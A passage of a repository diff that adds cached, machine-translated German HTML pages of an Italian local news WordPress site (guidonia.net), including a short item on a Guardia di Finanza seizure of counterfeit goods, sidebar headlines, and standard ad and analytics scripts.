src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_es.png' alt='Spagnolo flag' title='Spagnolo'  border='0' /></a><a id='flag_sv' href='http://www.guidonia.net/wp/?p=6287&lang=sv' hreflang='sv' ><img id='flag_img_sv' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_sv.png' alt='Svedese flag' title='Svedese'  border='0' /></a><a id='flag_sq' href='http://www.guidonia.net/wp/?p=6287&lang=sq' hreflang='sq' ><img id='flag_img_sq' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_sq.png' alt='Albanese flag' title='Albanese'  border='0' /></a><div id="transl_sign"></div></div><!--FLAG_BAR_END-->
+</div><div class=box><h3> <a class=rsswidget href=http://www.liquida.it/guidonia.feed title="FÃŒr diesen Inhalt"><img style=background:orange;color:white;border:none; width=14 height=14 src=http://www.guidonia.net/wp/wp-includes/images/rss.png alt="RSS" /></a> <span  > <a class=rsswidget href="http://www.guidonia.net/wp?p=6287&lang=de" >Fast Blog News</a></span> </h3><ul><li> <span  > <a class=rsswidget href="http://www.vignaclarablog.it/200907036551/comune-di-roma-todini-pdl-stupri-la-misura-e-colma/">Comune di Roma - Todini (PDL): Vergewaltigungen, Messen oder &quot;fÃŒllt</a></span> </li><li> <span  > <a class=rsswidget href="http://cairoli.simplicissimus.it/2009/07/avezzano-roma-tiburtina-la-linea-ferroviaria-dei-senza-casta.html">Avezzano - Roma Tiburtina - Die Bahnstrecke von der &quot;outcastes&quot;</a></span> </li><li> <span  > <a class=rsswidget href="http://sicurezza626lavoro.wordpress.com/2009/07/01/asl-roma-g-prevenzione-e-sicurezza-sul-lavoro/">ASL Roma G: PrÃ€vention und Sicherheit am Arbeitsplatz</a></span> </li><li> <span  > <a class=rsswidget href="http://truffeinrete.blogspot.com/2009/07/donna-uccisa-da-un-fulmine-nel-lazio.html">Frau vom Blitz getÃ¶tet in der Region Latium</a></span> </li><li> <span  > <a class=rsswidget href="http://www.mpl.it/?p=6390#39;Aquila, HÃ€user ohne Zement. Hier ist der Beweis. &quot; Der entsandte, Enzo Cappucci, gegraben hatte in den TrÃŒmmern in der Region Abruzzen und hat Belege dafÃŒr gefunden, der Leichtigkeit, fehlende Kontrolle, die kriminelle NachlÃ€ssigkeit, mit denen viele HÃ€user gebaut. Der ... Tags: Enzo Caps abruzzen RaiNews24 RAI Roma ein [...]"">Rai auf Zement</a></span> </li><li> <span  > <a class=rsswidget href="http://tgabruzzo.blogspot.com/2009/06/rainews-24-esclusiva-laquila-case-senza.html#39;&#39;L&#39;Aquila, HÃ€user ohne Zement. Hier ist der Beweis&#39;&#39;. Die an der Rainews24, Enzo Cappucci, gegraben hatte in den TrÃŒmmern in der Region Abruzzen und hat Belege dafÃŒr gefunden, der Leichtigkeit, fehlende Kontrolle, die kriminelle NachlÃ€ssigkeit, mit denen viele HÃ€user wurden ... Tags: [...]"">RaiNews 24: Exclusive&#39;&#39;eagle, HÃ€user ohne Zement&#39;&#39;</a></span> </li><li> <span  > <a class=rsswidget href="http://laveritaquotidiana.blogspot.com/2009/06/armati-di-pistola-rapinano-antiquari-in.html">Ausgestattet mit antiken Pistole beraubt im Hotel</a></span> </li><li> <span  > <a class=rsswidget href="http://www.sportfondano.it/2009/06/entro-il-23-luglio-le-iscrizioni-alla-c2-regionale/">Mit dem</a> 23. <a class=rsswidget href="http://www.sportfondano.it/2009/06/entro-il-23-luglio-le-iscrizioni-alla-c2-regionale/">Juli Abonnements fÃŒr regionale C2</a></span> </li><li> <span  > <a class=rsswidget href="http://abruzzoblog.blogspot.com/2009/06/il-management-del-dolore-post.html">Die Verwaltung der post-operativen Schmerzen gewinnt &quot;und der Rock &#39;strecken&#39; E. ..</a></span> </li><li> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/">Frauen und Demokratie.</a></span> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/">Angst, LÃŒgen und &quot;Mythos&quot;.</a></span> </li><li> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141">Frauen und Demokratie.</a></span> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141">Angst, LÃŒgen und &quot;Mythos&quot;</a></span> </li><li> <span  > <a class=rsswidget href="http://www.transformersblog.it/2009/06/24/anteprime-transformers-di-giovedi-25-giugno-ecco-i-cinema/">Transformatoren-Premieren am Donnerstag,</a> 25. <a class=rsswidget href="http://www.transformersblog.it/2009/06/24/anteprime-transformers-di-giovedi-25-giugno-ecco-i-cinema/">Juni sind die Kino</a></span> </li><li> <span  > <a class=rsswidget href="http://bellizzigranata.blogspot.com/2009/06/salernitana-acri-diesse-fabiani-digi.html">Salernitana: Diesse Acri, Fabiani digi</a></span> </li><li> <span  > <a class=rsswidget href="http://www.06blog.it/post/5558/elezioni-guidonia-e-fonte-nuova-al-centrodestra">Wahlen, und Guidonia New stadtzentrum</a></span> </li></ul></div><div class=box><div class=textwidget><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x600, creato 24/05/09 */
+google_ad_slot = "9606521834";
+google_ad_width = 120;
+google_ad_height = 600;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div></div></div></div></div><div id=footer><p> <span  > Â© 2009 <a href="http://www.guidonia.net/wp?lang=de" >GuidoniaPuntoNet (in Arbeit).</a> Link: <a href="http://www.guidonia.tv/">Guidonia TV</a> - <a href="http://www.aniene.net/">Aniene.Net</a> - <a href="http://www.linuxap.it/">LinuxAp</a> - <a href="http://www.eleonline.it/">Online-Wahlen</a></span> </p><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.form.js?ver=2.02m></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/contact-form-7.js?ver=1.10.0.1></script></div><!-- Start of StatCounter Code --><script type=text/javascript>
+var sc_project=4711170; 
+var sc_invisible=1; 
+var sc_partition=56; 
+var sc_click_stat=1; 
+var sc_security="aab5f80b"; 
+</script><script type=text/javascript src=http://www.statcounter.com/counter/counter.js></script><noscript><div class=statcounter> <a title="website statistics" href="http://www.statcounter.com/"><img class=statcounter src=http://c.statcounter.com/4711170/0/aab5f80b/1/ alt="website statistics"></a> </div></noscript><!-- End of StatCounter Code --><script type=text/javascript>
+var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
+document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
+</script><script type=text/javascript>
+try {
+var pageTracker = _gat._getTracker("UA-9114161-1");
+pageTracker._trackPageview();
+} catch(err) {}</script></body></html><!-- Dynamic page generated in 1.886 seconds. --><!-- Cached page generated by WP-Super-Cache on 2009-07-05 01:50:18 -->
Index: /trunk/www.guidonia.net/wp/wp-content/gt-cache/de/_wp__p=6289&lang=de
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/gt-cache/de/_wp__p=6289&lang=de	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/gt-cache/de/_wp__p=6289&lang=de	(revision 44)
@@ -0,0 +1,72 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns=http://www.w3.org/1999/xhtml dir=ltr lang=it-IT><head profile=http://gmpg.org/xfn/11><base href=http://www.guidonia.net/wp/?p=6289 /><meta http-equiv=Content-Type content="text/html; charset=UTF-8" /><title> Guardia di Finanza. Sichergestellte das Kapital von 3 Millionen StÃŒck ... - Der Westen - GuidoniaPuntoNet (in Arbeit) </title><link rel=alternate type=application/rss+xml title="GuidoniaPuntoNet (in Arbeit) RSS-Feed" href=http://www.guidonia.net/wp/?feed=rss2 /><link rel=pingback href=http://www.guidonia.net/wp/xmlrpc.php /></head><body onload=""><iframe src="http://www.guidonia.net/wp/?p=6289&rurl=translate.google.com&lang=it&usg=ALkJrhhLWXvqbQXczctVis2T1gnqsoqWlw" width=0 height=0 frameborder=0 style="width:0px;height:0px;border:0px;"></iframe><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/js/switch.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/style.css type=text/css media=screen /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="Vorgabe" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/pink.css type=text/css media=screen title="rosa" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/green.css type=text/css media=screen title="grÃŒn" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/purple.css type=text/css media=screen title="violett" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/red.css type=text/css media=screen title="rot" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="blau" /><link rel=alternate type=application/rss xml title="GuidoniaPuntoNet (in Arbeit) &quot;Guardia di Finanza. Sichergestellte das Kapital von 3 Millionen StÃŒck ... - Der westliche Feed Kommentare" href=http://www.guidonia.net/wp/?feed=rss2"><script type=text/javascript>
+		/* <![CDATA[ */
+
+			function move(index,to) {
+			 var list = document.getElementById('list');
+			 var total = list.options.length-1;
+			 if (index == -1) return false;
+			 if (to == +1 && index == total) return false;
+			 if (to == -1 && index == 0) return false;
+			 var items = new Array;
+			 var values = new Array;
+			 for (i = total; i >= 0; i--) {
+			  items[i] = list.options[i].text;
+			  values[i] = list.options[i].value;
+			 }
+			
+			 for (i = total; i >= 0; i--) {
+			  if (index == i) {
+			   list.options[i + to] = new Option(items[i],values[i + to], 0, 1);
+			   list.options[i] = new Option(items[i + to], values[i]);
+			   i--;
+			  } else {
+			   list.options[i] = new Option(items[i], values[i]);
+			  }
+			 }
+			
+			 list.focus();
+			}
+			
+			function submitForm() {
+			 var list = document.getElementById('list');
+			 var orderedlist = document.getElementById('orderedlist');
+			
+			 for (i = 0; i <= list.options.length-1; i++) {
+			  orderedlist.value += list.options[i].text;
+			  if (i != list.options.length-1) orderedlist.value += "|";
+			 }
+			 document.getElementById('sendform').submit();
+			}
+		/* ]]> */
+		</script><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.js?ver=1.3.2></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/comment-reply.js?ver=20090102></script><link rel=EditURI type=application/rsd+xml title="RSD" href=http://www.guidonia.net/wp/xmlrpc.php?rsd /><link rel=wlwmanifest type=application/wlwmanifest+xml href=http://www.guidonia.net/wp/wp-includes/wlwmanifest.xml /><link rel=index title="GuidoniaPuntoNet (in Arbeit)" href=http://www.guidonia.net/wp /><link rel=start title="Guidonia in WebTV" href=http://www.guidonia.net/wp/?p=8 /><link rel=prev title="GDF, der groÃe Beschlagnahme von gefÃ€lschten Waren fÃŒr 20 Millionen - Il Sole 24 Ore" href=http://www.guidonia.net/wp/?p=6288 /><link rel=next title="Guidonia: Pagano, UDC FORDERT STRASSEN BEDROHTER MAPPING - IRIS Presse - National News Agency" href=http://www.guidonia.net/wp/?p=6286 /><meta name=generator content="WordPress 2.8" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/stylesheet.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/lexi/css/lexi.css type=text/css media=screen /><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/minimax/scripts/minimax.js></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/tubepress.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/tubepress.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/widget/css/tubepress_widget.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/pagination.css type=text/css /><!-- Generated by Simple Tags 1.6.6 - http://wordpress.org/extend/plugins/simple-tags --><meta name=keywords content=Guidonia /></head><!--#wrapper:start--><div id=wrapper><!--#header:start--><div id=header><h1> <span  > <a href="http://www.guidonia.net/wp?lang=de" >GuidoniaPuntoNet (in Arbeit)</a></span> </h1><!--#navigation:start--><div id=navigation><ul><li> <span  > <a href="http://www.guidonia.net/wp?lang=de" >Heim</a></span> </li><li class="page_item page-item-2"> <span  > <a href="http://www.guidonia.net/wp?page_id=2&lang=de" >Ãber</a></span> </li><li class="page_item page-item-6296"> <span  > <a href="http://www.guidonia.net/wp?page_id=6296&lang=de" >Kontakt</a></span> </li></ul></div><!--#navigation:end--><!--#search:start--><div id=search><form method=get id=searchform action=http://www.guidonia.net/wp/><input type=text value="" name=s id=s /><input type=submit id=searchsubmit value="Suche" /></form></div><!--#search:end--></div><!--#header:end--><!--#content:start--><div id=content><div class=entry id=post-6289><h2> <span  > <a href="http://www.guidonia.net/wp?p=6289&lang=de" >Guardia di Finanza.</a></span> <span  > <a href="http://www.guidonia.net/wp?p=6289&lang=de" >Sichergestellte das Kapital von 3 Millionen StÃŒck ... -</a> Die <a href="http://www.guidonia.net/wp?p=6289&lang=de" >Western</a></span> </h2><p class=meta-header> <span  > Eingegangen am 03. Juli 2009 in <a href="http://www.guidonia.net/wp?cat=1&lang=de" >Guidonia News</a> von admin</span> </p><table border=0 cellpadding=2 cellspacing=7 style=vertical-align:top;><tr><td width=80 align=center valign=top><font style=font-size:85%;font-family:arial,sans-serif></font></td><td valign=top class=j> <font style=font-size:85%;font-family:arial,sans-serif><br /></font> <div style=padding-top:0.8em;><img alt="" height=1 width=1 /></div><div class=lh><span  > <b><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.loccidentale.it/articolo/guardia+di+finanza.+sequestrati+nella+capitale+3+milioni+di+pezzi+griffati..0074512&usg=AFQjCNGURDfe43JuXjzRjWk8TdHBipDuYw">Guardia di Finanza.</a></b></span> <span  > <b><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.loccidentale.it/articolo/guardia+di+finanza.+sequestrati+nella+capitale+3+milioni+di+pezzi+griffati..0074512&usg=AFQjCNGURDfe43JuXjzRjWk8TdHBipDuYw">Sichergestellte das Kapital von 3 Millionen StÃŒck ...</a></b></span> <br /> <span  > Der <font color=#6f6f6f><font size=-1><b>Westen</b></font></font></span> <br /> <span  > <font size=-1><b>...</b> Chinesische Unternehmer, die in gleicher Weise und um 17 Lagerhallen in den Bereichen Ost-Rom und <b>Guidonia Montecelio. ...</b></font></span> <br /><font size=-1 class=p></font><br /> <span  > <a class=p href="http://news.google.it/news?pz=1&ned=it&ncl=d12lqNpW1bnRGHM"><font class=p size=-1><b>mehr Â»</b></font></a></span> </div></td></tr></table><div class=meta-footer><ul></ul><div class=clear-left></div></div></div><!-- You can start editing here. --><div id=comments><!-- If comments are open, but there are no comments. --><div id=respond class=box><h3> <span  > Lassen Sie eine Antwort</span> </h3><div class=cancel-comment-reply> <span  > <a rel=nofollow id=cancel-comment-reply-link href="http://www.guidonia.net/wp?p=6289#respond style=display:none;&lang=de" ><small>Klicken Sie auf, um den Vorgang abzubrechen Antwort.</small></a></span> </div><form action=http://www.guidonia.net/wp/wp-comments-post.php method=post id=commentform><div> <span  > <label for=author><small>Name (erforderlich)</small></label></span> <br /><input type=text name=author id=author value="" size=22 tabindex=1 aria-required=true /></div><div> <span  > <label for=email><small>E-Mail (wird nicht verÃ¶ffentlicht) (erforderlich)</small></label></span> <br /><input type=text name=email id=email value="" size=22 tabindex=2 aria-required=true /></div><div> <span  > <label for=url><small>Website</small></label></span> <br /><input type=text name=url id=url value="" size=22 tabindex=3 /></div><div><span  > <strong><small>XHTML::</small></strong></span> <small><br /> <code>&lt;a href=&quot;&quot; title=&quot;&quot;&gt; &lt;abbr title=&quot;&quot;&gt; &lt;acronym title=&quot;&quot;&gt; &lt;b&gt; &lt;blockquote cite=&quot;&quot;&gt; &lt;cite&gt; &lt;code&gt; &lt;del datetime=&quot;&quot;&gt; &lt;em&gt; &lt;i&gt; &lt;q cite=&quot;&quot;&gt; &lt;strike&gt; &lt;strong&gt;</code></small> </div><p> <span  > <label for=comments><small>Kommentare</small></label></span> <br /><textarea name=comment id=comment cols=50 rows=6 tabindex=4></textarea></p><p><input name=submit type=submit id=submit tabindex=5 value="Submit Kommentar" class=box /><input type=hidden name=comment_post_ID value=6289 id=comment_post_ID /><input type=hidden name=comment_parent id=comment_parent value=0 /></p></form></div></div></div><!--#content:end--><div id=sidebar><p id=switcher> <span  > <a href="http://www.guidonia.net/">Blue</a> <a href="http://www.guidonia.net/">Pink</a> <a href="http://www.guidonia.net/">Green</a> <a href="http://www.guidonia.net/">Purple</a> <a href="http://www.guidonia.net/">Red</a></span> </p><div class="about box"><h3> <span  > Info</span> </h3><p><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/scripts.js></script><center> <span  > <b>GuidoniaPuntoNet: Ideen fÃŒr die Web</b> -</span> <b><br /></b> <script type=text/javascript>showFlash("loop.swf");</script> <b><br /></b> <span  > <b>Ideen auf der Suche nach Finanzierung: <a href=mailto:info@guidonia.net>Kontaktieren Sie uns</a></b></span> </center></p><div class=clear></div></div><div class=feeds> <span  > Sie kÃ¶nnen Letzte via <a href="http://www.guidonia.net/wp?feed=rss2&lang=de" >RSS-Feed.</a></span> </div><div class=col><div class=box><h3> <span  > Videos ÃŒber Guidonia</span> </h3><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6289# onclick=&lang=de" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=z32gTXwZyq0&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dz32gTXwZyq0%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Mansarda Guidonia Center" src=http://i.ytimg.com/vi/z32gTXwZyq0/2.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Guidonia CENTER, Ad.</span> <span  > Viale Roma-Bahnhof und ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6289# onclick=&lang=de" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=sg72_I89PV8&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dsg72_I89PV8%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Worte und KlÃ€nge Tage - Live @ Guidonia" src=http://i.ytimg.com/vi/sg72_I89PV8/3.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > StÃŒck von dem legendÃ€ren Konzert der Moro Guidonia von ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6289# onclick=&lang=de" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=-8DgBuwxENM&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D-8DgBuwxENM%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Libero - Live @ Guidonia" src=http://i.ytimg.com/vi/-8DgBuwxENM/default.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > StÃŒck von dem legendÃ€ren Konzert der Moro Guidonia von ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6289# onclick=&lang=de" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=tvOS-jqwMDE&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3DtvOS-jqwMDE%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Die Bedeutung von allem - Live @ Guidonia" src=http://i.ytimg.com/vi/tvOS-jqwMDE/hqdefault.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > StÃŒck von dem legendÃ€ren Konzert der Moro Guidonia von ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6289# onclick=&lang=de" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=0QhDp2EJqlU&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D0QhDp2EJqlU%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Nicht Import - Live @ Guidonia" src=http://i.ytimg.com/vi/0QhDp2EJqlU/hqdefault.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > StÃŒck von dem legendÃ€ren Konzert der Moro Guidonia von ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --></div><div class=box><h3> <span  > Kleinanzeigen</span> </h3><div class=textwidget><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x90, creato 24/05/09 */
+google_ad_slot = "4202309166";
+google_ad_width = 120;
+google_ad_height = 90;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div></div><div class=box><h3></h3><div id=calendar_wrap><table id=wp-calendar summary=Calendario><caption> <span  > Juli 2009</span> </caption><thead><tr><th abbr="lunedÃ¬" scope=col title="Montag"> <span  > L</span> </th><th abbr="martedÃ¬" scope=col title="Dienstag"> <span  > M</span> </th><th abbr="mercoledÃ¬" scope=col title="Mittwoch"> <span  > M</span> </th><th abbr="giovedÃ¬" scope=col title="Donnerstag"> <span  > G</span> </th><th abbr="venerdÃ¬" scope=col title="Freitag"> <span  > V</span> </th><th abbr=sabato scope=col title="Samstag"> <span  > S</span> </th><th abbr=domenica scope=col title="Sonntag"> <span  > D</span> </th></tr></thead><tfoot><tr><td abbr=giugno colspan=3 id=prev> <span  > <a href="http://www.guidonia.net/wp?m=200906&lang=de" >Â«Jun</a></span> </td><td class=pad></td><td colspan=3 id=next class=pad></td></tr></tfoot><tbody><tr><td colspan=2 class=pad></td><td> <span  > 1</span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090702&lang=de" >2</a></span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090703&lang=de" >3</a></span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090704&lang=de" >4</a></span> </td><td id=today> <span  > 5</span> </td></tr><tr><td> <span  > 6</span> </td><td> <span  > 7</span> </td><td> <span  > 8</span> </td><td> <span  > 9</span> </td><td> <span  > 10</span> </td><td> <span  > 11</span> </td><td> <span  > 12</span> </td></tr><tr><td> <span  > 13</span> </td><td> <span  > 14</span> </td><td> <span  > 15</span> </td><td> <span  > 16</span> </td><td> <span  > 17</span> </td><td> <span  > 18</span> </td><td> <span  > 19</span> </td></tr><tr><td> <span  > 20</span> </td><td> <span  > 21</span> </td><td> <span  > 22</span> </td><td> <span  > 23</span> </td><td> <span  > 24</span> </td><td> <span  > 25</span> </td><td> <span  > 26</span> </td></tr><tr><td> <span  > 27</span> </td><td> <span  > 28</span> </td><td> <span  > 29</span> </td><td> <span  > 30</span> </td><td> <span  > 31</span> </td><td class=pad colspan=2></td></tr></tbody></table></div></div></div><div class=col2><div class=box><h3> <span  > Translator</span> </h3>
+<!--FLAG_BAR_BEGIN--><div id="translation_bar"><a id='flag_it' href='http://www.guidonia.net/wp/?p=6289' hreflang='it' ><img id='flag_img_it' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_it.png' alt='Italiano flag' title='Italiano'  border='0' /></a><a id='flag_ar' href='http://www.guidonia.net/wp/?p=6289&lang=ar' hreflang='ar' ><img id='flag_img_ar' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ar.png' alt='Arabo flag' title='Arabo'  border='0' /></a><a id='flag_ca' href='http://www.guidonia.net/wp/?p=6289&lang=ca' hreflang='ca' ><img id='flag_img_ca' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ca.png' alt='Catalano flag' title='Catalano'  border='0' /></a><a id='flag_zh-CN' href='http://www.guidonia.net/wp/?p=6289&lang=zh-CN' hreflang='zh-CN' ><img id='flag_img_zh-CN' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_zh-CN.png' alt='Cinese (Semplificato) flag' title='Cinese (Semplificato)'  border='0' /></a><a id='flag_en' href='http://www.guidonia.net/wp/?p=6289&lang=en' hreflang='en' ><img id='flag_img_en' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_en.png' alt='Inglese flag' title='Inglese'  border='0' /></a><a id='flag_fr' href='http://www.guidonia.net/wp/?p=6289&lang=fr' hreflang='fr' ><img id='flag_img_fr' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_fr.png' alt='Francese flag' title='Francese'  border='0' /></a><a id='flag_de' href='http://www.guidonia.net/wp/?p=6289&lang=de' hreflang='de' ><img id='flag_img_de' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_de.png' alt='Tedesco flag' title='Tedesco'  border='0' /></a><a id='flag_el' href='http://www.guidonia.net/wp/?p=6289&lang=el' hreflang='el' ><img id='flag_img_el' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_el.png' alt='Greco flag' title='Greco'  border='0' /></a><a id='flag_pt' href='http://www.guidonia.net/wp/?p=6289&lang=pt' hreflang='pt' ><img id='flag_img_pt' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_pt.png' alt='Portoghese flag' title='Portoghese'  border='0' /></a><a id='flag_ro' href='http://www.guidonia.net/wp/?p=6289&lang=ro' hreflang='ro' ><img id='flag_img_ro' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ro.png' alt='Rumeno flag' title='Rumeno'  border='0' /></a><a id='flag_ru' href='http://www.guidonia.net/wp/?p=6289&lang=ru' hreflang='ru' ><img id='flag_img_ru' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ru.png' alt='Russo flag' title='Russo'  border='0' /></a><a id='flag_es' href='http://www.guidonia.net/wp/?p=6289&lang=es' hreflang='es' ><img id='flag_img_es' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_es.png' alt='Spagnolo flag' title='Spagnolo'  border='0' /></a><a id='flag_sv' href='http://www.guidonia.net/wp/?p=6289&lang=sv' hreflang='sv' ><img id='flag_img_sv' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_sv.png' alt='Svedese flag' title='Svedese'  border='0' /></a><a id='flag_sq' href='http://www.guidonia.net/wp/?p=6289&lang=sq' hreflang='sq' ><img id='flag_img_sq' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_sq.png' alt='Albanese flag' title='Albanese'  border='0' /></a><div id="transl_sign"></div></div><!--FLAG_BAR_END-->
+</div><div class=box><h3> <a class=rsswidget href=http://www.liquida.it/guidonia.feed title="FÃŒr diesen Inhalt"><img style=background:orange;color:white;border:none; width=14 height=14 src=http://www.guidonia.net/wp/wp-includes/images/rss.png alt="RSS" /></a> <span  > <a class=rsswidget href="http://www.guidonia.net/wp?p=6289&lang=de" >Fast Blog News</a></span> </h3><ul><li> <span  > <a class=rsswidget href="http://www.vignaclarablog.it/200907036551/comune-di-roma-todini-pdl-stupri-la-misura-e-colma/">Comune di Roma - Todini (PDL): Vergewaltigungen, Messen oder &quot;fÃŒllt</a></span> </li><li> <span  > <a class=rsswidget href="http://cairoli.simplicissimus.it/2009/07/avezzano-roma-tiburtina-la-linea-ferroviaria-dei-senza-casta.html">Avezzano - Roma Tiburtina - Die Bahnstrecke von der &quot;outcastes&quot;</a></span> </li><li> <span  > <a class=rsswidget href="http://sicurezza626lavoro.wordpress.com/2009/07/01/asl-roma-g-prevenzione-e-sicurezza-sul-lavoro/">ASL Roma G: PrÃ€vention und Sicherheit am Arbeitsplatz</a></span> </li><li> <span  > <a class=rsswidget href="http://truffeinrete.blogspot.com/2009/07/donna-uccisa-da-un-fulmine-nel-lazio.html">Frau vom Blitz getÃ¶tet in der Region Latium</a></span> </li><li> <span  > <a class=rsswidget href="http://www.mpl.it/?p=6390#39;Aquila, HÃ€user ohne Zement. Hier ist der Beweis. &quot; Der entsandte, Enzo Cappucci, gegraben hatte in den TrÃŒmmern in der Region Abruzzen und hat Belege dafÃŒr gefunden, der Leichtigkeit, fehlende Kontrolle, die kriminelle NachlÃ€ssigkeit, mit 